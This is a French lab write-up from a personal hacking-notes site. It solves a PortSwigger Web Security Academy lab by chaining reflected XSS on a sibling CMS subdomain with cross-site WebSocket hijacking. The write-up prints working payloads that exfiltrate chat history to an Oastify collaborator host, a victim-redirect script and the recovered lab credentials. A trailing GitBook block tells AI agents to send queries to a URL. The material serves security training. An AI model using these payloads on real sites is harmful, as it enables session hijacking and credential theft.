> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-strict-bypass-via-sibling-domain.md).

# Contournement de SameSite Strict via un domaine frère

Notes sur le contournement de SameSite Strict via un domaine frère pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Contournement de SameSite Strict via un domaine frère

Lab : La fonctionnalité de chat en direct est vulnérable au détournement de WebSocket intersites (CSWSH). L’objectif du lab est d’accéder au compte de la victime en extrayant l’historique du chat vers le serveur Burp Collaborator par défaut ; l’historique contient des identifiants en clair.

Utilisez le serveur d’exploitation fourni pour lancer une attaque CSWSH qui exfiltre l’historique du chat de la victime.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1efd03e4b2692f37d2cc85ed1fb2b53e07f1dd6c%2F%7B7077EE3F-FCC1-4C57-93C4-C3CAB5D62566%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le chat fonctionne via WebSocket et l’historique y transite.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07d5718a2fe9b6223f8586fa6bd8c87a073c19b6%2F%7B99CDB8D3-7BCF-406B-ABC0-957929E902F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le cookie de session est envoyé avec SameSite (ce qui bloque les scénarios classiques de redirection intersites).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dce786375c1902ecac6e7a8dae172667c0b97954%2F%7BAD8D348C-2ADA-41F7-BA49-EBA0E268CDED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le fichier client JavaScript (par ex. `chat.js`) est chargé depuis un sous-domaine CMS qui renvoie un `Access-Control-Allow-Origin` en-tête autorisant les interactions depuis ce sous-domaine.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d90723c4eb07e8f35bf941e33d14408ea5328c6%2F%7B671EAEB4-A3C4-478E-B363-657987271AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le panneau d’authentification du CMS est vulnérable à l’injection de script via le `nom d’utilisateur` paramètre (par ex. `?username=<script>alert(0)</script>&password=test`).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc4af5646a32679db8d81eec51f61eefaec6803c%2F%7B4A2E88B4-ABF1-4666-B7AA-CCE1BAC2BF4D%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

```javascript
<script>alert(0)</script>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9850ef91d190c40ed7831bfb29545227b31d6ab%2F%7B8FAC89E0-C2E4-4E67-989C-72DAC9B97E9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```
/login?username=<script>alert(0)</script>&password=test
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d07aeedc483206f68d45886df17db0c21811e4b%2F%7B087408EC-76DA-4130-B9E6-9168FD20BFAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

À l’aide de cette injection, vous pouvez exécuter du JavaScript dans le contexte du sous-domaine vulnérable, établissant ainsi un WebSocket authentifié (les cookies sont alors envoyés, puisque l’origine est la même) vers le serveur de chat.

### Approche (résumé)

1. Placez un script malveillant dans le `nom d’utilisateur` paramètre du formulaire de connexion du sous-domaine CMS.
2. Ce script ouvre une connexion WebSocket au serveur de chat et envoie un `READY` signal.

{% code overflow="wrap" %}

```javascript
<script>
  var ws = new WebSocket("https://0a5900a203763a50c2810c7a0074009d.web-security-academy.net/chat");

  ws.onopen = function() {
    ws.send("READY");
  };

  ws.onmessage = function(info) {
    fetch("https://68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com/?data=" + btoa(info.data));
  };
</script>
```

{% endcode %}

3. Lors de la réception des messages du WebSocket (historique du chat), le `fetch` script encode ces données en base64 et les envoie à un serveur contrôlé par l’attaquant (OAST/Oastify).

```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dad7c08963473657fc10563368dfe5a5173da617%2F%7B4239C10B-F14F-4BAD-8DE4-C56725B89462%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Hébergez/servez une redirection sur le serveur d’exploitation pour pousser la victime à visiter l’URL vulnérable (connexion avec `nom d’utilisateur` contenant le script).

```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```

#### Résultats observés

* Lorsque la requête exfiltrée a été reçue, le `données` paramètre contenait une chaîne base64 ; en la décodant, nous obtenons l’entrée du chat.
* Exemple de charge utile reçue (décodée en base64) :

```json
{"user":"CONNECTÉ","content":"-- Maintenant en discussion avec Hal Pline --"}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c7b1128389ed1b05d24ac806481a5d850ff50f9%2F%7B70D4995F-55D5-4C8F-B32A-7D6EEE4107AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7d5c93cda77a0463ed943847aedc38a103c2914%2F%7BED87981F-0C21-4DF7-97AD-DCC251F79623%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

En injectant depuis le contexte authentifié (sous-domaine CMS), le script a transmis des messages contenant des conversations d’utilisateurs et, dans ce cas, un message contenant les identifiants en clair.

{% code overflow="wrap" %}

```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```

{% endcode %}

{% code overflow="wrap" %}

```javascript
<script>
  location="https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef";
</script>
```

{% endcode %}

#### Identifiants extraits (comme noté)

* `carlos:hdf3fkk8h7tnltupqs5t` (identifiants trouvés dans l’historique du chat)

{% code overflow="wrap" %}

```json
{"user":"Hal Pline","content":"Pas de problème carlos, c'est hdf3fkk8h7tnltupqs5t"}
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-470e2f3d8bb175bc144967a4c03220dfe145c2d1%2F%7BD71DB3CA-4B55-4DA1-A891-F5EC4C58E23F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
